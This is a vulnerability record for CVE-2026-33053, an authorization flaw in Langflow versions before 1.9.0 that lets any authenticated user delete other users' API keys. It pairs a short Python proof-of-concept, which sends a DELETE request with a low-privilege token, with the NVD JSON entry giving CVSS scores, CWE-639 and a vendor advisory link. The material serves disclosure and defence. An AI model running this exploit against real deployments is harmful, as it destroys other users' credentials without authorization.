CVE-2026-33053

import requests # Configuration target_url = "http://localhost:3000" attacker_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # Valid JWT token for low-privilege user victim_api_key_id = "uuid-of-victims-api-key" headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Exploit: Send DELETE request to remove victim's API key # The server checks if the token is valid (Authentication) but fails to check # if the api_key_id belongs to the user making the request (Authorization) try: response = requests.delete( f"{target_url}/api/v1/keys/{victim_api_key_id}", headers=headers ) if response.status_code == 200: print(f"[+] Success: API key {victim_api_key_id} has been deleted.") else: print(f"[-] Failed: Status code {response.status_code}") print(response.text) except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-33053", "sourceIdentifier": "[email protected]", "published": "2026-03-20T07:16:13.160", "lastModified": "2026-03-20T19:39:11.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the delete_api_key_route() endpoint accepts an api_key_id path parameter and deletes it with only a generic authentication check (get_current_active_user dependency). However, the delete_api_key() CRUD function does NOT verify that the API key belongs to the current user before deletion."}, {"lang": "es", "value": "Langflow es una herramienta para construir y desplegar agentes y flujos de trabajo impulsados por IA. En versiones anteriores a la 1.9.0, el endpoint delete_api_key_route() acepta un parámetro de ruta api_key_id y lo elimina con solo una verificación de autenticación genérica (dependencia get_current_active_user). Sin embargo, la función CRUD delete_api_key() NO verifica que la clave API pertenezca al usuario actual antes de la eliminación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.9.0", "matchCriteriaId": "D51A889E-5C89-4A92-B32B-C91EAF735430"}]}]}], "references": [{"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-rf6x-r45m-xv3w", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}